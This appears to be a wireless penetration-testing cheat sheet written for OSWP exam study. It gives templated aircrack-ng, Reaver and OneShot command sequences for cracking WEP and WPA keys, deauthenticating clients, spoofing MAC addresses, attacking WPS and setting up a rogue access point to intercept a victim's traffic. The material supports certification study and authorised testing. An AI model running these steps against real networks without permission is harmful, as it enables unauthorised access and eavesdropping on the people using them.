WirelessPentesting-CheatSheet

This repository was originally made as a CheatSheet for OSWP Examination by Offensive Security. With the time, Offensive Security made an second version of OSWP that i haven't taken. As I'm adding sometimes Wireless Pentesting contents that I didn't learned from OSWP, and as i don't know the newest content of OSWP, I'm changing this repository as "WirelessPentesting-CheatSheet" instead of "OSWP-CheatSheet".

NOTE : Most of these attacks was tested on a Back Track 5 OS, if you are using a Kali Linux up to date or other distro, some commands can have minor changes.

Table of Contents

Recon

Determine Used Driver

To determine if we are using ieee80211 or mac80211 drivers use this command:

If it said "nl80211 not found." that mean we are using ieee80211 drivers. Else we are using mac80211 and the "iw list" output will print wireless card informations.

```
root@wifu:~# iw list
nl80211 not found.
```

Display SSID and their Channel - mac80211 driver

To display access point names and their corresponding channel number with mac80211 drivers use the following syntax:

```
root@wifu:~# iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID"
  SSID: wifu
  DS Parameter set: channel 3
  SSID: 6F36E6
  DS Parameter set: channel 1
```

Display SSID and their Channel - ieee80211 driver

To display access point names and their corresponding channel number with ieee80211 drivers use the following syntax:

```
root@wifu:~# iwlist wlan0 scanning | egrep "ESSID|Channel"
                    ESSID:"wifu"
                    Channel:3
                    ESSID:"6F36E6"
                    Channel:11
```

Display wireless card MAC address

To display your wireless card MAC address, use the following syntax:

```
root@wifu:~# macchanger -s mon0
Current MAC: <MAC address> <(Device information)>
```

Increase TX Power

Note : TX power depends on your country

Increse the TX power of wlan0

```
root@wifu:~# iw reg set B0
root@wifu:~# iwconfig wlan0 <txpower> <NmW|NdBm|off|auto>
```

Verify change

```
root@wifu:~# iwconfig wlan0
```

Cracking Wep

WEP - With connected Clients

Place your wireless card into monitor mode on the channel number of the AP:

```
airmon-ng start <interface> <AP channel>
```

Start an Airodump-ng capture filtering on the AP channel and BSSID, saving the file to disk:

```
airodump-ng -c <AP Channel> --bssid <AP MAC> -w <capture> <interface>
```

Conduct a fake authentication attack against the AP:

```
aireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface>
```

Launch the ARP request replay attack:

```
aireplay-ng -3 -b <AP MAC> -h <Your MAC> <interface>
```

Deauthenticate the connected client to force new IV generation by the AP:

```
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
```

Once a significant number of IVs have been captured, run Aircrack-ng against the Airodump capture:

```
aircrack-ng <capture>
```

WEP - Via a Client

Place your wireless card into monitor mode on the AP channel:

```
airmon-ng start <interface> <AP channel>
```

Start a capture dump, filtering on the AP channel and BSSID, saving the capture to a file:

```
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
```

Next, conduct a fake authentication against the access point:

```
aireplay-ng -0 1 -e <ESSID> -a <AP MAC> -w <capture> <interface>
```

Launch the interactive packet replay attack looking for ARP packets coming from the AP:

```
aireplay-ng -2 -b <AP MAC> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 <interface>
```

Once enough IVs have been captured, crack the WEP key:

```
aircrack-ng -z <capture>
```

WEP - Clientless

Place your wireless card into monitor mode on the channel number of the AP:

```
airmon-ng start <interface> <AP channel>
```

Conduct a fake authentication attack against the AP:

```
aireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface>
```

Run attack 4, the KoreK chopchop attack (or attack 5, the fragmentation attack):

KoreK Chop Chop Attack

```
aireplay-ng -4 -b <AP MAC> -h <Your MAC> <interface>
```

Fragmentation Attack

```
aireplay-ng -5 -b <AP MAC> -h <Your MAC> <interface>
```

Craft an ARP request packet using packetforge-ng:

```
packetforge-ng -0 -a <AP MAC> -h <Your MAC> -l <Source IP> -k <Dest IP> -y <xor filename> -w <output filename>
```

Inject the packet into the network using attack 2, the interactive packet replay attack:

```
aireplay-ng -2 -r <packet filename> <interface>
```

Crack the WEP key using Aircrack-ng:

```
aircrack-ng <capture>
```

WEP - Bypassing Shared Key Authentication

Place your wireless card into monitor mode on the channel number of the AP:

```
airmon-ng start <interface> <AP channel>
```

Start an Airodump-ng capture, filtering on the AP channel and BSSID, saving the capture:

```
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
```

Deauthenticate the connected client to capture the PRGA XOR keystream:

```
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
```

Conduct a fake shared key authentication using the XOR keystream:

```
aireplay-ng -1 0 -e <ESSID> -y <keystreamfile> -a <AP MAC> -h <Your MAC> <interface>
```

Launch the ARP request replay attack:

```
aireplay-ng -3 -b <AP MAC> -h <Your MAC> <interface>
```

Deauthenticate the victim client again to force the generation of an ARP packet:

```
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
```

Once IVs are being generated by the AP, run Aircrack-ng against the capture:

```
aircrack-ng <capture>
```

Troubleshooting

During a Sharing Key Authentication Bypass attack, if once you deauthenticate a client you got a "Broken SKA" message instead of the "140 bytes keystream : " into your Airodump output. Try to restart the Airodump-ng capture and deauthenticate another client.

Cracking WPA/WPA2 PSK

WPA - Crack

Start by placing your wireless card into monitor mode on the channel number of the AP:

```
airmon-ng start <interface> <AP channel>
```

Start an Airodump capture, filtering on the AP channel and BSSID, saving the capture to disk:

```
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
```

Deauthenticate a connected client to force it to complete the 4-way handshake:

```
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
```

Crack the WPA password with Aircrack-ng :

```
aircrack-ng -w <wordlist> <capture>
```

Alternatively, if you have an Airolib-ng database, it can be passed to Aircrack:

```
aircrack-ng -r <db name> <capture>
```

Aircrack-ng and John The Ripper

Place your wireless card into monitor mode on the channel number of the AP:

```
airmon-ng start <interface> <AP channel>
```

Start an Airodump capture, filtering on the AP channel and BSSID, saving the capture to disk:

```
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
```

Force a client to reconnect and complete the 4-way handshake by running a deauthentication attack against it:

```
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
```

Once a handshake has been captured, change to the John the Ripper directory and pipe in the mangled words into Aircrack-ng to obtain the WPA password:

```
./john --wordlist=<wordlist> --rules --stdout | aircrack-ng -e <ESSID> -w - <capture>
```

coWPAtty

Place your wireless card into monitor mode on the channel number of the AP:

```
airmon-ng start <interface> <AP channel>
```

Start an Airodump capture, filtering on the AP channel and BSSID, saving the file to disk:

```
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
```

Deauthenticate a connected client to force it to complete the 4-way handshake:

```
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
```

To crack the WPA password with coWPAtty in wordlist mode:

```
cowpatty -r <capture> -f <wordlist> -2 -s <ESSID>
```

To use rainbow table mode with coWPAtty, first generate the hashes:

```
genpmk -f <wordlist> -d <hashes filename> -s <ESSID>
```

Run coWPAtty with the generated hashes to recover the WPA password:

```
cowpatty -r <capture> -d <hashes filename> -2 -s <ESSID>
```

Pyrit

Place your wireless card into monitor mode on the channel number of the AP:

```
airmon-ng start <interface> <AP channel>
```

Use Pyrit to sniff on the monitor mode interface, saving the capture to a file:

```
pyrit -r <interface> -o <capture> stripLive
```

Deauthenticate a connected client to force it to complete the 4-way handshake:

```
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
```

Run Pyrit in dictionary mode to crack the WPA password:

```
pyrit -r <capture> -i <wordlist> -b <AP MAC> attack_passthrough
```

To use Pyrit in database mode, begin by importing your wordlist:

```
pyrit -i <wordlist> import_passwords
```

Add the ESSID of the access point to the Pyrit database:

```
pyrit -e <ESSID> create_essid
```

Generate the PMKs for the ESSID:

```
pyrit -r <capture> -b <AP MAC> attack_db
```

Find Hidden SSID

Set your wireless card in monitor mode.

```
sudo airmon-ng start <wireless card>
```

Monitor access point.

```
sudo airodump-ng <monitor wireless card>
```

Detect the BSSID of the hidden ESSID that you are targeting, rerun the scan specifying that BSSID and the channel.

```
sudo airodump-ng -c <channel> --bssid <bssid> <monitor wireless card>
```

Now you can deauth a device.

```
sudo aireplay-ng -0 15 -c <client bssid> -a <access point bssid> <monitor wireless card>
```

Bypass MAC Filtering

Set your wirelss card in monitor mode.

```
sudo airmon-ng start <wireless card>
```

Monitor access point.

```
airodump-ng -c <channel> --bssid <bssid> -w <output file> <monitor wireless card>
```

Deauthenticate a client and remember his MAC address.

```
aireplay-ng -0 0 -a <BSSID> -c <Client> <monitor wireless card>
```

Shutdown you'r monitor interface.

```
ifconfig <monitor wireless card> down
```

Attribute the Client MAC address to your wireless card.

```
macchanger --mac <deauthed client MAC address> <monitor wirelss card>
```

Power up you'r wireless card.

```
ifconfig <monitor wireless card>
```

Launch you'r attack using the stolen MAC address. ARP Replay request in this case.

```
aireplay-ng -3 -b <bssid> -h <stolen MAC address> <monitor wireless card>
```

WPS Attacks

Reaver - WPS Attacks

Pixie Dust Attack

Install Reaver

```
sudo apt-get install reaver
```

Set wireless card in monitor mode

```
sudo airmon-ng start <wirless card>
```

Enumerate Wireless Point using wash

```
wash -i <monitor wireless card>
```

Execute pixie dust attack

```
reaver -i <monitor wireless card> -b <bssid> -vv -K 1
```

Specific Pin Attack

Note : The parameter -S is used to use small DH keys to improve crack speed

```
reaver -i <monitor wireless card> -b <bssid> -vv -p <PinCode> -S
```

5GHz Target

Note : Target 5GHz with the "-5" parameter. Example using Pixie Dust Attack bellow.

```
reaver -i <monitor wireless card> -b <bssid> -5 -vv -K 1
```

Bully - WPS Attacks

OneShot - WPS Attacks without Monitor Mode Enabled

Installation

Refere to https://github.com/drygdryg/OneShot (https://github.com/drygdryg/OneShot) if needed.

```
sudo apt install -y python3 wpasupplicant iw wget
sudo apt install -y pixiewps
cd ~
mkdir oneshot && cd oneshot
wget https://raw.githubusercontent.com/drygdryg/OneShot/master/oneshot.py
wget https://raw.githubusercontent.com/drygdryg/OneShot/master/vulnwsc.txt
```

Pixie Dust Attack

```
python3 oneshot.py -b <bssid> wlan0 -K
```

Pixie Force Attack with delay of 5 seconds for each attempt

```
python3 oneshot.py -b <bssid> wlan0 -F -d 5
```

Online Bruteforce

```
python3 oneshot.py -b <bssid> wlan0 -b
```

Custom Pin

```
python3 oneshot.py -b <bssid> wlan0 -p 12345678
```

Using WPS Button

```
python3 oneshot.py -b <bssid> wlan0 --pbc
```

Man in the Middle Attack

First install dependencies.

```
apt-get install bridge-utils
```

Start your wireless card in monitor mode

```
airmon-ng start wlan0
```

Setup the wireless card as access point using your desired BSSID.

```
airbase-ng –e “<desired BSSID>” <monitor wireless card>
```

Setup the bridge

```
brctl addbr <BridgeName>
brctl addif <BridgeName> <monitor wireless card>
```

Power up your internet connection and your bridge name

```
ifconfig eth0 0.0.0.0 up
ifconfig <BridgeName> up
```

Setup dhclient

```
dhclient3 <BridgeName>
```

Deauthenticate you'r target.

```
aireplay-ng –deauth 0 –a <victimBSSID> wlan0mon
```

Wait for your target to connect to you'r Fake Access Point. If not, repeat the deauthentication until it succed.

Then using wireshark analyse the traffic of you'r target.

```
# Filter :
# ;select <BridgeName> interface
```

Wardriving

Using WiGLE

You can browse the WiGLE website (https://www.wigle.net/) to look you'r profil and more.

Download the WiGLE APK (https://play.google.com/store/apps/details?id=net.wigle.wigleandroid)

Open it on your phone, run the scan and drive.

Using Pwnagtochi

Pwnagotchi (https://pwnagotchi.ai/) is running on Raspberry Pi and allow you to do various Wireless attacks, but specifically against WPA.

Using plugins, you can submit handshakes online and attempt to crack it.

This plugin (https://github.com/evilsocket/pwnagotchi/blob/master/pwnagotchi/plugins/default/gps.py) allow you to save coordination like wardriving.